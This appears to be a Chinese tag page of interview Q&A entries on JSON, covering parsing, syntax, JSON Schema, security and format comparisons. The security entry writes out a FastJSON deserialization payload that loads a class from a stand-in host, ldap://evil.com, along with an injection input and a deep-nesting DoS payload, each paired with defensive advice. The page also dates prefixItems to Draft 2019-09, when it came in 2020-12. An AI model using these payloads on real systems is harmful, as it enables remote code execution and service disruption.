标签

JSON

JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,易于人类阅读和编写,同时也易于机器解析和生成。它是完全独立于编程语言的,但使用了类似于JavaScript对象语法的约定,这些特性使得JSON成为理想的数据交换语言。

JSON
服务端5月29日 01:08
JavaScript 中如何解析和序列化 JSON?有哪些高级用法?JavaScript 通过 `JSON.parse()` 将 JSON 字符串转为 JS 值,通过 `JSON.stringify()` 将 JS 值转为 JSON 字符串。基本用法直观,但有几个关键细节:`JSON.parse()` 第二个参数 reviver 可在解析时转换值(如把日期字符串还原为 Date 对象);`JSON.stringify()` 第二个参数 replacer 可过滤或转换属性,第三个参数 space 控制缩进格式化输出。序列化时 undefined 和函数在对象中会被忽略、在数组中变为 null,Date 转为 ISO 字符串,RegExp 变为空对象,Symbol 键被丢弃。循环引用会抛出 TypeError。`JSON.parse('123')` 合法——JSON 的最外层不一定是对象。 ## 追问 - `JSON.stringify()` 遇到循环引用怎么办?如何实现一个安全的序列化函数? - replacer 传数组 vs 传函数有什么区别?各自的典型使用场景是什么? - `JSON.stringify(NaN)` 和 `JSON.stringify(Infinity)` 的结果是什么?为什么? - BigInt 为什么不能被 JSON.stringify 序列化?有哪些变通方案? - reviver 函数的执行顺序是怎样的?嵌套对象是从内到外还是从外到内? ## 写段代码 ```javascript // replacer 过滤敏感字段 const user = { name: 'Alice', token: 'secret', age: 25 }; const safe = JSON.stringify(user, (k, v) => k === 'token' ? undefined : v ); // {"name":"Alice","age":25} // reviver 还原日期 const s = '{"date":"2025-01-01"}'; const obj = JSON.parse(s, (k, v) => k === 'date' ? new Date(v) : v ); // obj.date instanceof Date === true ```
服务端5月29日 01:08
JSON 的语法规则有哪些?哪些是容易踩坑的?JSON 语法看似简单,但有几条规则与 JavaScript 对象字面量不同,容易踩坑。核心规则:键名必须用双引号包裹(`"name"` 不能写成 `name`);字符串也只能用双引号,单引号非法;最后一个键值对后不能有尾逗号;不支持注释;值只能是 string、number、boolean、null、object、array 六种类型,不支持 undefined、Date、Function、RegExp。数字不支持前导零(`01` 非法)和 NaN/Infinity。字符串中的特殊字符需转义,如 `\n`、`\"`、`\\`。大小写敏感:只有小写的 `true`、`false`、`null` 合法,`TRUE` 或 `Null` 都会解析失败。 ## 追问 - `{"a": 1,}` 在 JS 中合法但 JSON 非法,为什么 JSON 要禁止尾逗号? - `JSON.parse('{"a": undefined}')` 会怎样?undefined 在对象和数组中的序列化行为有何不同? - JSON 数字为什么不区分整数和浮点数?`1e3` 在 JSON 中合法吗? - 如何在 JSON 中表示二进制数据?Base64 编码有什么局限? - `JSON.parse('123')` 合法吗?`JSON.parse('"hello"')` 呢?最外层必须是对象吗? ## 写段代码 ```javascript // 合法 JSON const a = JSON.parse('{"name":"Alice","age":25}'); // 非法:单引号键名 // JSON.parse("{'name':'Alice'}"); // SyntaxError // 非法:尾逗号 // JSON.parse('{"name":"Alice",}'); // SyntaxError // 合法:最外层不是对象 JSON.parse('123'); // 123 JSON.parse('"hi"'); // "hi" ```
服务端5月28日 00:31
什么是 JSON Schema?它的作用是什么?## 什么是 JSON Schema? JSON Schema 是一份用 JSON 格式写成的"数据合同",它声明了某类 JSON 数据必须满足的结构、类型和约束规则。你可以把它理解成 JSON 数据的"类型定义 + 校验规则"——不仅规定有哪些字段、字段是什么类型,还能限定取值范围、格式、必填项等。 面试中回答这个问题,记住三个关键词:**校验、契约、文档**。JSON Schema 同时满足这三个需求,这是它和其他方案的核心差异。 ## 核心作用 **数据校验**是最根本的用途。拿到一份 JSON,丢给校验器(如 Ajv、python-jsonschema),立刻知道它合不合规,不用手写一堆 if-else。校验器会返回具体的错误路径和原因,排查问题比手动校验快得多。 **接口契约**——在前后端协作或微服务通信中,JSON Schema 就是双方的数据约定。OpenAPI 3.0 的 schema 字段本质上就是 JSON Schema,用它描述请求体和响应体,API 文档和校验一步到位。不少团队把 Schema 放进代码仓库单独维护,PR 变更时自动触发兼容性检查。 **自动生成代码和表单**——不少工具能从 Schema 直接生成 TypeScript 类型定义、Go struct、Java POJO,甚至前端表单组件。减少了"文档写了没人看、代码和文档对不上"的问题。反过来看,也有工具(如 typeof-schema)能从现有 TypeScript 类型反向生成 JSON Schema。 ## 一个完整的例子 ```json { "$schema": "https://json-schema.org/draft/2020-12/schema", "title": "User", "type": "object", "properties": { "name": { "type": "string", "minLength": 1, "maxLength": 100 }, "age": { "type": "integer", "minimum": 0, "maximum": 150 }, "email": { "type": "string", "format": "email" }, "role": { "type": "string", "enum": ["admin", "editor", "viewer"] } }, "required": ["name", "email"] } ``` 这段 Schema 做了几件事:限定整体是 object;name 是 1-100 字符的字符串;age 是 0-150 的整数;email 必须符合邮箱格式(`format` 关键字);role 只能取三个枚举值之一;name 和 email 是必填字段。 ## 常用约束关键词 | 类别 | 关键词 | 说明 | |------|--------|------| | 数值 | minimum, maximum, exclusiveMinimum, exclusiveMaximum | 限定数值范围 | | 字符串 | minLength, maxLength, pattern, format | 长度和正则、格式校验(format 支持 email、uri、date-time 等) | | 数组 | minItems, maxItems, uniqueItems, prefixItems | 元素数量、去重、元组验证 | | 对象 | required, additionalProperties, minProperties | 必填字段和额外属性控制 | | 逻辑 | allOf, anyOf, oneOf, not | 组合条件,相当于 &&、||、xor、! | | 条件 | if/then/else | 条件验证,当 if 匹配时必须满足 then | | 引用 | $ref, $defs | 复用其他 Schema 定义,避免重复 | ## 和 TypeScript 类型、Zod 的区别 这是面试高频追问点。三者都能做数据约束,但定位不同: **TypeScript 类型**是编译时工具,只在开发阶段生效,运行时完全消失。它不能校验从网络请求拿到的 JSON 数据——一个 API 返回了错误字段,TypeScript 不会报错,代码照跑,只是逻辑可能出错。 **Zod**既能在编译时推导类型,也能在运行时校验数据。但它绑定 JavaScript/TypeScript 生态,Schema 本身是代码而非数据,其他语言无法直接消费。 **JSON Schema**是语言无关的数据格式,任何语言都有校验器实现。它最大的优势是"数据即文档"——Schema 可以直接放进 OpenAPI 规范、配置文件,被各种工具链消费,也能存到数据库里做动态校验。 实际项目中,TypeScript 类型管开发体验,Zod 管运行时校验,JSON Schema 管跨团队、跨语言的数据契约。三者常常搭配使用,并不互斥。例如:用 JSON Schema 定义 API 契约,用工具生成 TypeScript 类型给前端用,后端用 Ajv 在运行时校验请求体。 ## 实际项目中的应用场景 **API 网关层校验**——在网关(如 Kong、AWS API Gateway)配置 JSON Schema,非法请求在进入业务逻辑前就被拦截,返回 400 而不是让错误数据一路穿透到数据库。这比在每个 handler 里写校验逻辑高效得多。 **配置文件校验**——VS Code 的 settings.json、ESLint 的 .eslintrc、GitHub Actions 的 workflow 文件都有对应的 JSON Schema,IDE 能据此提供自动补全和实时错误提示。你在 VS Code 里写 settings.json 时弹出的属性提示,背后就是 JSON Schema 在工作。 **表单驱动开发**——前端框架(如 react-jsonschema-form)根据 Schema 自动渲染表单,包括输入框类型、校验规则、必填标记。后端只用关心 Schema 定义,前后端各写各的,表单逻辑不用重复实现。 **消息队列数据校验**——在 Kafka、RabbitMQ 等消息系统中,用 JSON Schema Registry 管理消息格式,消费者拿到消息先校验再处理,防止上游数据格式变更导致下游崩溃。 ## 版本差异需要注意 JSON Schema 经历了 Draft-04、Draft-06、Draft-07、Draft 2019-09、Draft 2020-12 等版本。主要变化: - Draft-06 起 `exclusiveMinimum` 从布尔值变成独立数值关键字,`minimum` 不再排他 - Draft 2019-09 引入了 `$defs` 替代 `definitions`,新增 `prefixItems` 替代 `items` 对数组的元组验证,`$recursiveRef` 实现递归 Schema - Draft 2020-12 是当前最新稳定版,用 `$dynamicRef` 替代了 `$recursiveRef` 使用时注意校验器支持的版本。Ajv 默认支持 Draft-07,需要显式配置 `ajv@draft202012` 才能用新特性。Python 的 jsonschema 库默认支持最新版。 ## 面试追问方向 **Q: JSON Schema 能做条件验证吗?** 可以,用 `if/then/else`。比如"当 role 是 admin 时,permissions 数组必填": ```json { "if": { "properties": { "role": { "const": "admin" } } }, "then": { "required": ["permissions"] } } ``` **Q: 如何校验嵌套很深的数据?** 用 `$ref` 引用子 Schema,避免重复定义。配合 `$defs`(或旧版的 `definitions`)集中管理公共片段。深层嵌套不会影响校验性能,Ajv 会将整个 Schema 编译成一个校验函数。 **Q: JSON Schema 的性能如何?** 复杂 Schema 的校验开销不可忽视,但远快于手写校验代码。Ajv 支持 Schema 编译为函数,一次编译多次使用,单次校验通常在微秒级。对于高频场景(如每秒校验上万次请求),建议预编译并缓存。相比之下,python-jsonschema 比 Ajv 慢一个数量级,高并发场景优先选 Ajv。 **Q: JSON Schema 和 Protocol Buffers 的 Schema 有什么区别?** Protobuf 侧重序列化和跨语言 RPC,自带代码生成和二进制编码,性能更高但不支持动态校验。JSON Schema 侧重验证和文档,数据仍然是 JSON 文本,灵活性更强但序列化体积和速度不如 Protobuf。两者适用场景不同:内部服务间通信选 Protobuf,面向外部 API 或需要人类可读的场景选 JSON Schema。
服务端5月28日 00:30
如何防止 JSON 注入攻击?有哪些常见的安全问题需要注意?## JSON 注入攻击的原理 JSON 注入攻击是指攻击者通过在输入数据中插入恶意 JSON 片段,篡改 JSON 结构或注入可执行代码,从而绕过验证、窃取数据或执行非授权操作。 常见的注入手法包括: - **键值篡改**:在用户输入中插入额外的 JSON 键值对,改变解析结果。例如用户输入 `"username","role":"admin"` 拼接后变成 `{"username":"input","role":"admin"}`。 - **结构破坏**:利用引号、花括号等特殊字符破坏原有 JSON 结构,导致解析异常或越权。 - **类型混淆**:将字符串类型的值替换为对象或数组,绕过基于类型的校验逻辑。 ## 五种常见的 JSON 安全问题 ### 1. JSON 注入 攻击者构造特殊的 JSON 字符串,破坏 JSON 结构或执行恶意代码。最典型的场景是服务端拼接 JSON 字符串时未对用户输入做转义: ```javascript // 危险写法:直接拼接 const json = '{"name":"' + userInput + '"}'; // 输入 a","role":"admin -> {"name":"a","role":"admin"} // 安全写法:使用序列化方法 const json = JSON.stringify({ name: userInput }); ``` ### 2. 反序列化漏洞 不安全的 JSON 反序列化可导致远程代码执行(RCE)。以 Java 生态的 FastJSON 为例,攻击者在 JSON 中注入 `"@type":"com.sun.rowset.JdbcRowSetImpl"` 指定恶意类,触发 JNDI 注入进而执行任意命令。 ```java // FastJSON 危险配置 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 攻击载荷 String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://evil.com/Exploit","autoCommit":true}"; JSON.parse(payload); // 触发远程类加载 ``` 防护要点:升级到 FastJSON 1.2.83+,关闭 AutoType,使用白名单机制限制可反序列化的类。 ### 3. 跨站请求伪造(CSRF) JSON 格式的 API 同样面临 CSRF 风险。虽然浏览器对 `Content-Type: application/json` 的跨域请求会触发预检,但如果服务端仅依赖 Cookie 鉴权且未校验 Origin 头,攻击者仍可构造表单提交发起攻击。 防护方式:校验 `Origin` 和 `Referer` 头,使用 CSRF Token,或改用 `Authorization` 头携带 Token。 ### 4. 敏感信息泄露 JSON 响应中直接返回密码哈希、内部 ID、数据库字段名等敏感数据是常见问题。攻击者通过正常接口即可获取这些信息,无需任何注入手段。 ```json // 危险响应 {"id":1,"username":"admin","password_hash":"$2b$10$xxx...","email":"admin@example.com"} // 安全响应:仅返回必要字段 {"id":1,"username":"admin"} ``` 应对措施:使用 DTO 对象过滤输出字段,全局配置 JSON 序列化忽略敏感属性,定期审计 API 响应内容。 ### 5. 拒绝服务攻击 构造超大或嵌套极深的 JSON 数据可耗尽服务器内存。例如一个嵌套 10000 层的对象,解析时占用大量栈空间导致 OOM。Python 的 `json.loads()` 默认无嵌套深度限制,而 `json5`、`bson` 等第三方库更易受此影响。 ```python # 深度嵌套攻击载荷 payload = '{"a":' * 10000 + '1' + '}' * 10000 json.loads(payload) # 可能导致栈溢出 ``` 防护手段:限制请求体大小(如 Nginx `client_max_body_size`),设置 JSON 解析的最大嵌套深度,实现请求频率限制。 ## 防护措施详解 ### 输入验证与净化 - 使用 JSON Schema 或类型校验库(如 Ajv、Pydantic)对输入做结构验证 - 对用户输入中的双引号、反斜杠等特殊字符进行转义 - 使用 `JSON.stringify()` / `json.dumps()` 等标准方法序列化,禁止手动拼接 JSON 字符串 - 对数值型字段做范围检查,对枚举型字段做白名单校验 ### 安全的反序列化策略 - 禁用 AutoType / 类型自动识别功能 - 使用白名单限制可反序列化的类,而非依赖黑名单 - 对反序列化操作做权限隔离,运行在沙箱或低权限进程中 - 升级依赖库到最新安全版本,关注 CVE 公告 ### 传输与响应安全 - 全站启用 HTTPS(TLS 1.3),防止中间人篡改 JSON 数据 - 设置 `Content-Type: application/json; charset=utf-8`,防止编码攻击 - 配置严格的 CORS 策略,限制允许的来源域名 - 响应中设置 `X-Content-Type-Options: nosniff`,防止 MIME 嗅探 ### 运行时防护 - 限制 JSON 请求体大小(建议 1MB 以内,按业务调整) - 设置解析最大嵌套深度(建议不超过 20 层) - 实现接口级别的请求频率限制 - 部署 WAF 检测异常 JSON 载荷 ## 核心检查清单 | 检查项 | 要求 | |--------|------| | JSON 拼接 | 禁止手动拼接,使用标准序列化方法 | | 反序列化 | 关闭 AutoType,使用白名单 | | 输入校验 | JSON Schema 验证 + 类型/范围检查 | | 敏感字段 | DTO 过滤,不在响应中返回 | | 嵌套深度 | 解析器限制最大深度 ≤ 20 | | 请求大小 | 限制请求体上限 | | 传输加密 | 全站 HTTPS + 严格 CORS | | 依赖版本 | 定期更新,关注 CVE 公告 | 以上措施覆盖了 JSON 处理中从输入、解析、传输到响应的完整链路,按照清单逐项排查可有效降低 JSON 相关安全风险。
服务端5月28日 00:28
JSON、XML、YAML、CSV 各有什么优缺点?## JSON、XML、YAML、CSV 各有什么优缺点? ### JSON 的核心优势 JSON 是当前 Web 开发中使用最广泛的数据交换格式,2026 年约 87% 的 Web API 响应使用 JSON。 **轻量紧凑**:同样的数据,JSON 的体积比 XML 小 20%-40%。一段表示用户信息的 JSON 可能只需 167 字符,而等价的 XML 需要 230 字符。这对移动端和带宽敏感场景影响显著。 **解析速度快**:JSON 的语法规则简单,解析器实现轻量,几乎所有编程语言都内置支持。JavaScript 可直接用 `JSON.parse()` / `JSON.stringify()` 处理,Python 用 `json` 模块,Go 用 `encoding/json`,无需额外依赖。 **与语言天然映射**:JSON 的对象和数组结构直接对应 JavaScript 对象、Python 字典、Java 的 Map/List,不需要额外的映射层。 **无歧义语法**:JSON 的语法严格,不存在像 YAML 缩进那样可能引发歧义的情况,解析结果确定性强。 ### JSON 的不足 **不支持注释**:这是 JSON 作为配置文件最大的短板。不能在文件中添加说明,团队协作时只能依赖外部文档。 **数据类型有限**:只支持字符串、数字、布尔、null、对象、数组六种类型。没有日期时间类型(只能用字符串约定),没有二进制数据的原生表示,大数字可能丢失精度。 **不支持多行字符串**:长文本需要转义换行符,可读性差。 **Schema 验证相对薄弱**:虽然存在 JSON Schema,但相比 XML Schema(XSD)成熟度仍有差距,工具链也不如 XSD 丰富。 --- ### XML 的核心优势 **强大的元数据能力**:XML 支持属性、命名空间、处理指令等,能表达比 JSON 更丰富的语义信息。例如一个 SVG 图形文件,属性和命名空间是不可或缺的。 **成熟的验证体系**:XSD(XML Schema Definition)提供严格的类型验证,支持复杂约束规则。在金融、保险等强监管行业,这种验证能力是刚需。 **XSLT 转换**:XML 拥有 XSLT 这种声明式转换语言,可以在不写代码的情况下完成复杂的数据转换,JSON 生态中没有对等工具。 **文档标记能力**:XML 天然适合表示带格式的文档结构,Microsoft Office(.docx、.xlsx)、SVG、RSS/Atom 都是 XML 格式。 ### XML 的不足 **冗长**:每个元素都需要开闭标签,同样的数据 XML 通常比 JSON 大 30%-40%,传输和存储成本更高。 **解析复杂**:XML 解析器需要处理命名空间、实体引用、CDATA 等特性,实现复杂度高,性能开销比 JSON 大。 **人可读性较差**:大量标签和嵌套使得 XML 文件在人工阅读和编辑时体验不佳。 --- ### YAML 的核心优势 **人类友好的语法**:YAML 用缩进表示层级,省略引号和括号,视觉上更干净。编写 Kubernetes 配置、Docker Compose 文件时,YAML 的可读性优势明显。 **支持注释**:用 `#` 添加注释,配置文件中可以直接标注说明,这是 JSON 做不到的。 **更丰富的数据类型**:原生支持日期时间、二进制、多行字符串、锚点(anchor)和别名(alias),可以减少重复定义。 **JSON 的超集**:合法的 JSON 也是合法的 YAML(YAML 1.2 规范),迁移成本低。 ### YAML 的不足 **解析陷阱多**:YAML 的自动类型推断经常带来意外。例如 `yes` / `no` 会被解析为布尔值,`2025-01-01` 会被解析为日期,这可能导致配置错误。 **解析速度慢**:YAML 的语法规则复杂,解析性能明显低于 JSON,大文件场景下差距更显著。 **安全风险**:某些 YAML 实现支持任意代码执行(如 Python 的 `yaml.load()`),必须显式使用 `yaml.safe_load()` 防范攻击。 **缩进敏感**:一个空格的差异可能导致解析失败或产生不同结果,在复制粘贴和格式化工具处理时容易出错。 --- ### CSV 的核心优势 **极致紧凑**:纯文本、逗号分隔,没有任何结构标记的冗余,数据密度最高。 **工具生态丰富**:Excel、Google Sheets 以及所有数据分析工具(Pandas、R)都直接支持 CSV。 **流式处理友好**:可以逐行读取处理,不需要将整个文件加载到内存,适合处理 GB 级数据。 **跨平台通用**:纯文本格式,任何编辑器都能打开,任何系统都能处理。 ### CSV 的不足 **只支持二维表格**:无法表达嵌套结构、对象数组等复杂数据。一个包含嵌套地址字段的用户数据,CSV 无法自然表示。 **无类型信息**:所有值都是字符串,数字、日期、布尔值的区分全靠消费端自行判断。 **编码和分隔符问题**:不同地区使用不同分隔符(逗号 vs 分号),编码问题(BOM 头)经常导致解析异常。 **字段包含分隔符时需转义**:当数据本身包含逗号或换行时,需要用引号包裹,转义规则容易出错。 --- ### 怎么选择合适的格式? | 场景 | 推荐格式 | 原因 | |---|---|---| | Web API / 前后端通信 | JSON | 体积小、解析快、生态完善 | | 配置文件(需要注释) | YAML | 可读性高、支持注释和数据类型 | | 企业级集成 / 强验证 | XML | Schema 成熟、命名空间、XSLT | | 数据导出 / 批量处理 | CSV | 紧凑、流式友好、工具支持好 | | 移动端 / 低带宽 | JSON | 体积小、解析快 | | 文档格式(Office/SVG) | XML | 标记能力、属性支持 | **一句话总结**:JSON 是通用数据交换的首选,YAML 是人类可读配置的首选,XML 是强验证和文档标记的首选,CSV 是表格数据处理的首选。选格式不是找"最好的",而是找"最适合当前场景的"。